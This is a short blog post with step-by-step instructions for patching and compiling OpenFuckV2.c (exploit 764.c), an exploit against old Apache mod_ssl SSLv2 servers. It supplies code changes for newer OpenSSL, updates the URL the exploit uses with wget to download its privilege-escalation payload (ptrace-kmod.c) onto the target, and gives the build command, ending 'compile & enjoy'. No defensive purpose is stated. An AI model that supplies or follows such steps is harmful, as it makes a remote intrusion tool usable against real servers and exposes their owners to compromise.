How to compile OpenFuckV2.c

Monkey D Ouy
2 min readApr 4, 2018

--

Step 1 Add these lines at the beginning of code

#include <openssl/rc4.h>
#include <openssl/md5.h>

#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16

Step 2 Search for wget and change the url

http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c

to

https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

Step 3 Insert “const”

// unsigned char *p, *end;
const unsigned char *p, *end;

Step 4 Modify these lines

// if (pkey->type != EVP_PKEY_RSA) {
if (EVP_PKEY_get1_RSA(pkey) == NULL) {

//encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);

Step 5 install “libssl-dev”

apt-get install libssl-dev

step 6 compile & enjoy

gcc 764.c -o 764 -lcrypto

Reference

http://hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/

--

--